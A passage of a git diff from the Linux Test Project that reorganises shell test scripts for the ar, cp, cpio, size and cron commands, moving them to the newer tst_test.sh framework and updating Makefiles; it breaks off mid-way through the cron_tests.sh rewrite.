-TCtmp=${TCtmp:-/tmp/size01-$$}
-
-do_setup()
-{
-  SIZE=/usr/bin/size
-  mkdir $TCtmp
-  $SIZE $TCsrc/test > $TCtmp/er_size
-  $SIZE -V $TCsrc/test > $TCtmp/er_size_V
-  $SIZE -o $TCsrc/test > $TCtmp/er_size_o
-  $SIZE -x $TCsrc/test > $TCtmp/er_size_x
-}
-
-
-do_test()
-{
-#ASSERTION POSIX NEXT_AVAILABLE C
-#
-#size
-#
-#CODE
-
-size $TCsrc/test > $TCtmp/ar_size
-
-diff -bw  $TCtmp/ar_size  $TCtmp/er_size
-
-if [ $? -eq 0 ]
-	then
-		echo  "size "
-	else
-		echo "FAIL - size "
-		exit 1
-fi
-
-rm -f $TCtmp/*r_size
-
-
-##ASSERTION POSIX NEXT_AVAILABLE C
-#
-#-V
-#
-#CODE
-
-size -V $TCsrc/test > $TCtmp/ar_size_V
-
-diff -bw  $TCtmp/ar_size_V $TCtmp/er_size_V
-
-if [ $? -eq 0 ]
-	then
-		echo  "size -V"
-	else
-		echo "FAIL - size -V"
-		exit 1
-fi
-
-rm -f $TCtmp/*r_size_V
-
-
-##ASSERTION POSIX NEXT_AVAILABLE C
-#
-#-o
-#
-#CODE
-
-size -o $TCsrc/test > $TCtmp/ar_size_o
-
-diff -bw  $TCtmp/ar_size_o $TCtmp/er_size_o
-
-if [ $? -eq 0 ]
-	then
-		echo  "size -o"
-	else
-		echo "FAIL - size -o"
-		PASS=0
-		exit 1
-fi
-
-rm -f $TCtmp/*r_size_o
-
-
-##ASSERTION POSIX NEXT_AVAILABLE C
-#
-#-x
-#
-#CODE
-
-size -x $TCsrc/test > $TCtmp/ar_size_x
-
-diff -bw  $TCtmp/ar_size_x $TCtmp/er_size_x
-
-if [ $? -eq 0 ]
-	then
-		echo  "size -x"
-	else
-		echo "FAIL - size -x"
-		exit 1
-fi
-
-rm -rf $TCtmp
-
-echo "Test Result: PASS"
-exit 0
-}
-
-do_setup
-do_test
diff --git a/testcases/commands/ade/size/test.c b/testcases/commands/ade/size/test.c
deleted file mode 100644
index 9c3c39d..0000000
--- a/testcases/commands/ade/size/test.c
+++ /dev/null
@@ -1,18 +0,0 @@
-#include <stdio.h>
-
-int main(void)
-{
-	int i;
-
-	for (i = 0; i < 10; i++) {
-		if ((i % 2) == 0)
-			printf("World \n");
-		else
-			printf(" Hello \n ");
-	}
-
-	printf(" the end \n");
-
-	return 0;
-
-}
diff --git a/testcases/commands/fileutils/Makefile b/testcases/commands/ar/Makefile
similarity index 90%
copy from testcases/commands/fileutils/Makefile
copy to testcases/commands/ar/Makefile
index 65616f7..3b694a3 100644
--- a/testcases/commands/fileutils/Makefile
+++ b/testcases/commands/ar/Makefile
@@ -1,5 +1,5 @@
 #
-#    commands/fileutils test suite Makefile.
+#    commands/ade/ar testcases Makefile.
 #
 #    Copyright (C) 2009, Cisco Systems Inc.
 #
@@ -17,11 +17,13 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
+INSTALL_TARGETS		:= ar01
+
 include $(top_srcdir)/include/mk/generic_trunk_target.mk
diff --git a/testcases/commands/ar/ar01 b/testcases/commands/ar/ar01
new file mode 100644
index 0000000..e27cd04
--- /dev/null
+++ b/testcases/commands/ar/ar01
@@ -0,0 +1,357 @@
+#!/bin/sh
+#
+# Copyright (c) International Business Machines  Corp., 2000
+#  06/01 Robbie Williamson (robbiew@us.ibm.com)
+# Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
+#
+# This program is free software;  you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY;  without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+# the GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program;  if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+#
+#-----------------------------------------------------------------------
+#
+# This is a basic ar command test.
+#
+TST_ID="ar01"
+TST_CNT=17
+TST_TESTFUNC=test
+TST_NEEDS_TMPDIR=1
+. tst_test.sh
+
+test1()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in
+	ROD ar -ra file1.in lib.a $TST_DATAROOT/file2.in
+	ROD ar -t lib.a \> ar.out
+
+	printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp
+
+	if diff ar.out ar.exp >/dev/null; then
+		tst_res TPASS "ar added new file after another (-a)"
+	else
+		tst_res TFAIL "ar failed to add new file after another (-a)"
+		cat ar.out
+	fi
+
+	ROD rm lib.a
+}
+
+test2()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \
+		         $TST_DATAROOT/file3.in $TST_DATAROOT/file4.in
+	ROD ar -ma file1.in lib.a file4.in
+	ROD ar -t lib.a \> ar.out
+
+	printf "file1.in\nfile4.in\nfile2.in\nfile3.in\n" > ar.exp
+
+	if diff ar.out ar.exp > /dev/null; then
+		tst_res TPASS "ar moved file correctly (-ma)"
+	else
+		tst_res TFAIL "ar failed to move file (-ma)"
+		cat ar.out
+	fi
+
+	ROD rm lib.a
+}
+
+test3()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in
+	ROD ar -rb file3.in lib.a $TST_DATAROOT/file2.in
+	ROD ar -t lib.a \> ar.out
+
+	printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp
+
+	if diff ar.out ar.exp; then
+		tst_res TPASS "ar added new file before another (-b)"
+	else
+		tst_res TFAIL "ar failed to add new file before another (-b)"
+		cat ar.out
+	fi
+
+	ROD rm lib.a
+}
+
+test4()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in \
+	                 $TST_DATAROOT/file2.in
+	ROD ar -mb file3.in lib.a file2.in
+	ROD ar -t lib.a \> ar.out
+
+	printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp
+
+	if diff ar.out ar.exp > /dev/null; then
+		tst_res TPASS "ar moved file correctly (-mb)"
+	else
+		tst_res TFAIL "ar failed to move file (-mb)"
+		cat ar.out
+	fi
+
+	ROD rm lib.a
+}
+
+test5()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in \> ar.out
+
+	if [ -s ar.out ]; then
+		tst_res TFAIL "ar produced output unexpectedly (-c)"
+		cat ar.out
+	else
+		tst_res TPASS "ar haven't produced output (-c)"
+	fi
+
+	ROD rm lib.a
+}
+
+test6()
+{
+	ROD ar -qc lib.a $TST_DATAROOT/file1.in \> ar.out
+
+	if [ -s ar.out ]; then
+		tst_res TFAIL "ar produced output unexpectedly (-qc)"
+		cat ar.out
+	else
+		tst_res TPASS "ar haven't produced output (-qc)"
+	fi
+
+	ROD rm lib.a
+}
+
+test7()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \
+	                 $TST_DATAROOT/file3.in
+	ROD ar -d lib.a file1.in file2.in
+	ROD ar -t lib.a \> ar.out
+
+	printf "file3.in\n" > ar.exp
+
+	if diff ar.out ar.exp > /dev/null; then
+		tst_res TPASS "ar deleted files correctly (-d)"
+	else
+		tst_res TFAIL "ar messed up when deleting files (-d)"
+		cat ar.out
+	fi
+
+	ROD rm lib.a
+}
+
+test8()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \
+	                 $TST_DATAROOT/file3.in
+	ROD ar -d lib.a
+	ROD ar -t lib.a \> ar.out
+
+	printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp
+
+	if diff ar.out ar.exp > /dev/null; then
+		tst_res TPASS "ar deleted nothing (-d with empty list)"
+	else
+		tst_res TFAIL "ar deleted files (-d with empty list)"
+		cat ar.out
+	fi
+
+	ROD rm lib.a
+}
+
+test9()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in
+	ROD ar -ri file3.in lib.a $TST_DATAROOT/file2.in
+	ROD ar -t lib.a \> ar.out
+
+	printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp
+
+	if diff ar.out ar.exp >/dev/null; then
+		tst_res TPASS "ar added new file before another (-i)"
+	else
+		tst_res TFAIL "ar failed to add new file before another (-i"
+		cat ar.out
+	fi
+
+	ROD rm lib.a
+}
+
+test10()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in \
+	                 $TST_DATAROOT/file2.in
+	ROD ar -mi file3.in lib.a file2.in
+	ROD ar -t lib.a \> ar.out
+
+	printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp
+
+	if diff ar.out ar.exp > /dev/null; then
+		tst_res TPASS "ar moved file correctly (-mi)"
+	else
+		tst_res TFAIL "ar failed to move file (-mi)"
+		cat ar.out
+	fi
+
+	ROD rm lib.a
+}
+
+test11()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file3.in \
+	                 $TST_DATAROOT/file2.in
+	ROD ar -m lib.a file3.in
+	ROD ar -t lib.a \> ar.out
+
+	printf "file1.in\nfile2.in\nfile3.in\n" > ar.exp
+
+	if diff ar.out ar.exp > /dev/null; then
+		tst_res TPASS "ar moved file correctly (-m)"
+	else
+		tst_res TFAIL "ar failed to move file (-m)"
+		cat ar.out
+	fi
+
+	ROD rm lib.a
+}
+
+test12()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \
+	                 $TST_DATAROOT/file3.in
+	ROD ar -p lib.a \> ar.out
+
+	printf "This is file one\nThis is file two\nThis is file three\n" > ar.exp
+
+	if diff ar.out ar.exp > /dev/null; then
+		tst_res TPASS "ar printed file content correctly (-p)"
+	else
+		tst_res TFAIL "ar failed to print file content (-p)"
+		cat ar.out
+	fi
+
+	ROD rm lib.a
+}
+
+test13()
+{
+
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \
+	                 $TST_DATAROOT/file3.in
+	ROD ar -q lib.a $TST_DATAROOT/file4.in
+	ROD ar -t lib.a \> ar.out
+
+	printf "file1.in\nfile2.in\nfile3.in\nfile4.in\n" > ar.exp
+
+	if diff ar.out ar.exp > /dev/null; then
+		tst_res TPASS "ar appended file correctly (-q)"
+	else
+		tst_res TFAIL "ar failed to append file (-q)"
+		cat ar.out
+	fi
+
+	ROD rm lib.a
+}
+
+test14()
+{
+	ROD touch file0.in
+	ROD ar -cr lib.a file0.in $TST_DATAROOT/file1.in
+
+	file0_mtime1=$(ar -tv lib.a | grep file0.in)
+	file1_mtime1=$(ar -tv lib.a | grep file1.in)
+
+	touch -c -t $(date --date='next day' +"%Y%m%d%H%M") file0.in
+
+	ROD ar -ru lib.a file0.in $TST_DATAROOT/file1.in
+
+	file0_mtime2=$(ar -tv lib.a | grep file0.in)
+	file1_mtime2=$(ar -tv lib.a | grep file1.in)
+
+	if [ "$file0_mtime1" = "$file0_mtime2" ]; then
+		tst_res TFAIL "ar updated modified file0 (-u)"
+	else
+		tst_res TPASS "ar haven't updated modified file0 (-u)"
+	fi
+
+	if [ "$file1_mtime1" = "$file1_mtime2" ]; then
+		tst_res TPASS "ar haven't updated unmodified file1 (-u)"
+	else
+		tst_res TFAIL "ar updated unmodified file1 (-u)"
+	fi
+
+	ROD rm lib.a file0.in
+}
+
+test15()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in
+	ROD ar -tv lib.a \> ar.out
+
+	if grep -q '[rwx-]\{9\} [0-9].*/[0-9].*\s*[0-9].*.*file1.in' ar.out; then
+		tst_res TPASS "ar verbose listing works (-tv)"
+	else
+		tst_res TFAIL "ar verbose listing failed (-tv)"
+		cat ar.out
+	fi
+
+	ROD rm lib.a
+}
+
+test16()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in \
+	                 $TST_DATAROOT/file3.in
+	ROD ar -xv lib.a \> ar.out
+
+	printf "x - file1.in\nx - file2.in\nx - file3.in\n" > ar.exp
+
+	if diff ar.out ar.exp > /dev/null; then
+		tst_res TPASS "ar printed extracted filenames (-xv)"
+	else
+		tst_res TFAIL "ar failed to print extracted filenames (-xv)"
+		cat ar.out
+	fi
+
+	if [ -e file1.in -a -e file2.in -a -e file3.in ]; then
+		tst_res TPASS "ar extracted files correctly"
+	else
+		tst_res TFAIL "ar failed to extract files"
+	fi
+
+	ROD rm -f lib.a file1.in file2.in file3.in
+}
+
+test17()
+{
+	ROD ar -cr lib.a $TST_DATAROOT/file1.in $TST_DATAROOT/file2.in
+	ROD ar -xv lib.a file2.in \> ar.out
+
+	printf "x - file2.in\n" > ar.exp
+
+	if diff ar.out ar.exp > /dev/null; then
+		tst_res TPASS "ar printed extracted filename (-xv)"
+	else
+		tst_res TFAIL "ar failed to print extracted filename (-xv)"
+		cat ar.out
+	fi
+
+	if [ -e file2.in ]; then
+		tst_res TPASS "ar extracted file correctly"
+	else
+		tst_res TFAIL "ar failed to extract file"
+	fi
+
+	ROD rm -f lib.a file2.in
+}
+
+tst_run
diff --git a/testcases/commands/ade/ldd/Makefile b/testcases/commands/ar/datafiles/Makefile
similarity index 74%
copy from testcases/commands/ade/ldd/Makefile
copy to testcases/commands/ar/datafiles/Makefile
index f37f21b..ef99bca 100644
--- a/testcases/commands/ade/ldd/Makefile
+++ b/testcases/commands/ar/datafiles/Makefile
@@ -1,7 +1,5 @@
 #
-#    commands/ade/ldd testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
+#    Copyright (C) 2016, Linux Test Project.
 #
 #    This program is free software; you can redistribute it and/or modify
 #    it under the terms of the GNU General Public License as published by
@@ -12,14 +10,10 @@
 #    but WITHOUT ANY WARRANTY; without even the implied warranty of
 #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 #    GNU General Public License for more details.
-#
-# Garrett Cooper, July 2009
-#
 
 top_srcdir		?= ../../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= ldd01
-
-include $(top_srcdir)/include/mk/generic_trunk_target.mk
+INSTALL_DIR		:= testcases/data/ar01
+INSTALL_TARGETS		:= file*
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/ade/ar/file1.in b/testcases/commands/ar/datafiles/file1.in
similarity index 100%
rename from testcases/commands/ade/ar/file1.in
rename to testcases/commands/ar/datafiles/file1.in
diff --git a/testcases/commands/ade/ar/file10.in b/testcases/commands/ar/datafiles/file10.in
similarity index 100%
rename from testcases/commands/ade/ar/file10.in
rename to testcases/commands/ar/datafiles/file10.in
diff --git a/testcases/commands/ade/ar/file2.in b/testcases/commands/ar/datafiles/file2.in
similarity index 100%
rename from testcases/commands/ade/ar/file2.in
rename to testcases/commands/ar/datafiles/file2.in
diff --git a/testcases/commands/ade/ar/file3.in b/testcases/commands/ar/datafiles/file3.in
similarity index 100%
rename from testcases/commands/ade/ar/file3.in
rename to testcases/commands/ar/datafiles/file3.in
diff --git a/testcases/commands/ade/ar/file4.in b/testcases/commands/ar/datafiles/file4.in
similarity index 100%
rename from testcases/commands/ade/ar/file4.in
rename to testcases/commands/ar/datafiles/file4.in
diff --git a/testcases/commands/at/Makefile b/testcases/commands/at/Makefile
index fd63092..ca3fb04 100644
--- a/testcases/commands/at/Makefile
+++ b/testcases/commands/at/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/commands/fileutils/cp/Makefile b/testcases/commands/cp/Makefile
similarity index 94%
rename from testcases/commands/fileutils/cp/Makefile
rename to testcases/commands/cp/Makefile
index caea044..f71e9f3 100644
--- a/testcases/commands/fileutils/cp/Makefile
+++ b/testcases/commands/cp/Makefile
@@ -17,10 +17,10 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
-top_srcdir		?= ../../../..
+top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
diff --git a/testcases/commands/cp/cp_tests.sh b/testcases/commands/cp/cp_tests.sh
new file mode 100755
index 0000000..b04b9dd
--- /dev/null
+++ b/testcases/commands/cp/cp_tests.sh
@@ -0,0 +1,112 @@
+#!/bin/sh
+################################################################################
+##                                                                            ##
+## Copyright (c) International Business Machines  Corp., 2001                 ##
+##  Author:       Manoj Iyer, manjo@mail.utexas.edu                           ##
+## Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>                          ##
+##                                                                            ##
+## This program is free software;  you can redistribute it and#or modify      ##
+## it under the terms of the GNU General Public License as published by       ##
+## the Free Software Foundation; either version 2 of the License, or          ##
+## (at your option) any later version.                                        ##
+##                                                                            ##
+## This program is distributed in the hope that it will be useful, but        ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
+## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
+## for more details.                                                          ##
+##                                                                            ##
+## You should have received a copy of the GNU General Public License          ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
+##                                                                            ##
+################################################################################
+#
+# Tests basic cp functionality
+#
+TST_ID="ln01"
+TST_CNT=5
+TST_TESTFUNC=do_test
+TST_SETUP=setup
+TST_NEEDS_TMPDIR=1
+. tst_test.sh
+
+create_tree()
+{
+	local dirname=$1
+	local dircnt=$2
+	local filecnt=$3
+
+	tst_res TINFO "Creating $dircnt directories."
+	tst_res TINFO "Filling each dir with $filecnt files".
+	while [ $dircnt -gt 0 ]; do
+		dirname=$dirname/dir$dircnt
+	        ROD mkdir -p $dirname
+
+		local fcnt=0
+	        while [ $fcnt -lt $filecnt ]; do
+			ROD touch $dirname/file$fcnt
+			fcnt=$((fcnt+1))
+		done
+		dircnt=$((dircnt-1))
+	done
+}
+
+setup()
+{
+	create_tree "dir" 10 10
+	ROD echo LTP > file
+}
+
+compare_dirs()
+{
+	local src="$1"
+	local dst="$2"
+
+	if diff -r $src $dst; then
+		tst_res TPASS "Directories $src and $dst are equal"
+	else
+		tst_res TFAIL "Directories $src and $dst differs"
+		ls -R $src
+		echo
+		ls -R $dst
+	fi
+}
+
+compare_files()
+{
+	local src="$1"
+	local dst="$2"
+
+	if diff $src $dst; then
+		tst_res TPASS "Files $src and $dst are equal"
+	else
+		tst_res TFAIL "Files $src and $dst differs"
+	fi
+}
+
+cp_test()
+{
+	local args="$1"
+	local src="$2"
+	local dst="$3"
+	EXPECT_PASS cp $args $src $dst
+	if [ -f $src ]; then
+		compare_files $src $dst
+	else
+		compare_dirs $src $dst
+	fi
+	ROD rm -r $dst
+}
+
+do_test()
+{
+	case $1 in
+	1) cp_test ""  "file" "file_copy";;
+	2) cp_test -l  "file" "file_copy";;
+	3) cp_test -s  "file" "file_copy";;
+	4) cp_test -R  "dir"  "dir_copy";;
+	5) cp_test -lR "dir"  "dir_copy";;
+	esac
+}
+
+tst_run
diff --git a/testcases/commands/cpio/Makefile b/testcases/commands/cpio/Makefile
index 32c111c..55a8912 100644
--- a/testcases/commands/cpio/Makefile
+++ b/testcases/commands/cpio/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/commands/cpio/cpio_tests.sh b/testcases/commands/cpio/cpio_tests.sh
index a5dc0a1..261194d 100755
--- a/testcases/commands/cpio/cpio_tests.sh
+++ b/testcases/commands/cpio/cpio_tests.sh
@@ -2,6 +2,8 @@
 ################################################################################
 ##                                                                            ##
 ## Copyright (c) International Business Machines  Corp., 2001                 ##
+##  Author: Manoj Iyer, manjo@mail.utexas.edu                                 ##
+## Copyright (c) Cyril Hrubis <chrubis@suse.cz>                               ##
 ##                                                                            ##
 ## This program is free software;  you can redistribute it and#or modify      ##
 ## it under the terms of the GNU General Public License as published by       ##
@@ -14,160 +16,40 @@
 ## for more details.                                                          ##
 ##                                                                            ##
 ## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
 ##                                                                            ##
 ################################################################################
 #
+# Test basic functionality of cpio command
 #
-# File :        cpio_test.sh
-#
-# Description:  Test basic functionality of cpio command
-#				- Test #1:  cpio -o can create an archive.
-#
-# Author:       Manoj Iyer, manjo@mail.utexas.edu
-#
-# History:      Jan 30 2003 - Created - Manoj Iyer.
-#
-# Function:		init
-#
-# Description:	- Check if command cpio is available.
-#               - Create temprary directory, and temporary files.
-#               - Initialize environment variables.
-#
-# Return		- zero on success
-#               - non zero on failure. return value from commands ($RC)
-init()
+TST_ID="cpio01"
+TST_TESTFUNC=cpio_test
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="cpio"
+. tst_test.sh
+
+cpio_test()
 {
-
-	RC=0				# Return code from commands.
-	export TST_TOTAL=1	# total numner of tests in this file.
-	export TCID=cpio	# this is the init function.
-	export TST_COUNT=0	# init identifier,
-
-	if [ -z "$LTPTMP" -a -z "$TMPBASE" ]
-	then
-		LTPTMP=/tmp
-	else
-		LTPTMP=$TMPBASE
-	fi
-	if [ -z "$LTPBIN" -a -z "$LTPROOT" ]
-	then
-		LTPBIN=./
-	else
-		LTPBIN=$LTPROOT/testcases/bin
-	fi
-
-
-	$LTPBIN/tst_resm TINFO "INIT: Inititalizing tests."
-
-	which cpio > $LTPTMP/tst_cpio.err 2>&1 || RC=$?
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_brk TBROK $LTPTMP/tst_cpio.err NULL \
-			"Test #1: cpio command does not exist. Reason:"
-		return $RC
-	fi
-
-	mkdir -p $LTPTMP/tst_cpio.tmp > $LTPTMP/tst_cpio.err 2>&1 || RC=$?
-	if [ $RC -ne 0 ]
-	then
-		$LTPBIN/tst_brk TBROK $LTPTMP/tst_cpio.err NULL \
-			"Test #1: failed creating temp directory. Reason:"
-		return $RC
-	fi
-
-	for i in a b c d e f g h i j k l m n o p q r s t u v w x y z
-	do
-		touch $LTPTMP/tst_cpio.tmp/$i > $LTPTMP/tst_cpio.err 2>&1 || RC=$?
-		if [ $RC -ne 0 ]
-		then
-			$LTPBIN/tst_brk TBROK $LTPTMP/tst_cpio.err NULL \
-				"Test #1: failed creating temp directory. Reason:"
-			return $RC
-		fi
+	ROD mkdir "dir"
+	for i in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
+		ROD echo "Test" > "dir/$i"
 	done
-	return $RC
-}
 
-# Function:		clean
-#
-# Description	- Remove all temorary directories and file.s
-#
-# Return		- NONE
-clean()
-{
-	export TCID=cpio	# this is the init function.
-	export TST_COUNT=0	# init identifier,
+	ROD find dir -type f > filelist
+	EXPECT_PASS cpio -o \> cpio.out \< filelist
+	ROD mv "dir" "dir_orig"
+	ROD mkdir "dir"
+	EXPECT_PASS cpio -i \< cpio.out
 
-	$LTPBIN/tst_resm TINFO "CLEAN cleaning up before return"
-	rm -fr $LTPTMP/tst_cpio* > /dev/null 2>&1
-	return
-}
-
-
-# Function:		test01
-#
-# Description	- Test #1: Test that cpio -o will create a cpio archive.
-#
-# Return		- zero on success
-#               - non zero on failure. return value from commands ($RC)
-
-test01()
-{
-	RC=0				# Return value from commands.
-	export TCID=cpio01	# Name of the test case.
-	export TST_COUNT=1	# Test number.
-
-	$LTPBIN/tst_resm TINFO "Test #1: cpio -o will create an archive."
-
-	find  $LTPTMP/tst_cpio.tmp/ -type f | cpio -o > $LTPTMP/tst_cpio.out \
-		2>$LTPTMP/tst_cpio.err || RC=$?
-	if [ $RC -ne 0 ]
-	then
-		 $LTPBIN/tst_res TFAIL $LTPTMP/tst_cpio.err \
-			"Test #1: creating cpio archive failed. Reason:"
-		return $RC
+	if diff -r "dir" "dir_orig"; then
+		tst_res TPASS "Directories dir and dir_orig are equal"
 	else
-		if [ -f $LTPTMP/tst_cpio.out ]
-		then
-			file $LTPTMP/tst_cpio.out > $LTPTMP/tst_cpio.err 2>&1 || RC=$?
-			if [ $? -ne 0 ]
-			then
-				$LTPBIN/tst_res TFAIL $LTPTMP/tst_cpio.err	\
-				"Test #1: bad output, not cpio format. Reason:"
-				return $RC
-			fi
-		else
-			 $LTPBIN/tst_resm TFAIL "Test #1: did not create cpio file."
-			 return $RC
-		fi
+		tst_res TFAIL "Directories dir and dir_orig differ"
+		ls -R dir_orig
+		echo
+		ls -R dir
 	fi
-	return $RC
 }
 
-
-# Function:		main
-#
-# Description:	- Execute all tests, report results.
-#
-# Exit:			- zero on success
-# 				- non-zero on failure.
-
-
-TFAILCNT=0			# Set TFAILCNT to 0, increment on failure.
-RC=0				# Return code from tests.
-
-init || exit $RC	# Exit if initializing testcases fails.
-
-test01 || RC=$?		# Test #1
-if [ $RC -eq 0 ]
-then
-	$LTPBIN/tst_resm TPASS "Test #1: cpio created an archive"
-else
-		 TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-clean				# clean up before returning
-
-exit $TFAILCNT
+tst_run
diff --git a/testcases/commands/cron/Makefile b/testcases/commands/cron/Makefile
index 1b49488..4969ec7 100644
--- a/testcases/commands/cron/Makefile
+++ b/testcases/commands/cron/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/commands/cron/cron_dirs_check.c b/testcases/commands/cron/cron_dirs_check.c
index e038a0d..cc9e0ad 100644
--- a/testcases/commands/cron/cron_dirs_check.c
+++ b/testcases/commands/cron/cron_dirs_check.c
@@ -1,5 +1,4 @@
 #include <sys/types.h>
-#include <sys/dir.h>
 #include <sys/param.h>
 #include <sys/stat.h>
 #include <stdio.h>
diff --git a/testcases/commands/cron/cron_neg_tests.sh b/testcases/commands/cron/cron_neg_tests.sh
index 27f2137..9c3d6f6 100755
--- a/testcases/commands/cron/cron_neg_tests.sh
+++ b/testcases/commands/cron/cron_neg_tests.sh
@@ -87,7 +87,7 @@
 echo
 
 tmpscript=cron_neg01_test
-rm -rf $tmpscript.out &> /dev/null
+rm -rf $tmpscript.out >/dev/null 2>&1
 
 
 cat > /tmp/$tmpscript << EOF
@@ -127,7 +127,7 @@
 fi
 echo
 
-rm /tmp/$tmpscript* &> /dev/null
+rm /tmp/$tmpscript* >/dev/null 2>&1
 crontab -r
 
 # Restore crontab
diff --git a/testcases/commands/cron/cron_pos_tests.sh b/testcases/commands/cron/cron_pos_tests.sh
index 2dc4ecc..ece114c 100755
--- a/testcases/commands/cron/cron_pos_tests.sh
+++ b/testcases/commands/cron/cron_pos_tests.sh
@@ -22,10 +22,10 @@
 		exit 1
 	fi
 
-	mv $CRON_ALLOW $CRON_ALLOW.old &> /dev/null
+	mv $CRON_ALLOW $CRON_ALLOW.old >/dev/null 2>&1
 	su $1 -c "$0 $*"
         RC=$?
-	mv $CRON_ALLOW.old $CRON_ALLOW &> /dev/null
+	mv $CRON_ALLOW.old $CRON_ALLOW >/dev/null 2>&1
 	exit $RC
 fi
 
@@ -53,7 +53,7 @@
 
 # 1. Add new job
 
-rm -rf /tmp/crontest &> /dev/null
+rm -rf /tmp/crontest >/dev/null 2>&1
 mkdir -p /tmp/crontest
 
 cat > /tmp/crontest/testjob_cron01 << EOF
diff --git a/testcases/commands/cron/cron_tests.sh b/testcases/commands/cron/cron_tests.sh
index 3f70a23..b76f0b6 100644
--- a/testcases/commands/cron/cron_tests.sh
+++ b/testcases/commands/cron/cron_tests.sh
@@ -1,418 +1,277 @@
 #!/bin/sh
 
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2001                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software		      ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##									      ##
-##                                                                            ##
-################################################################################
+# Copyright (c) International Business Machines Corp., 2001
+# Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
 #
-# File:			cron_tests.sh
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
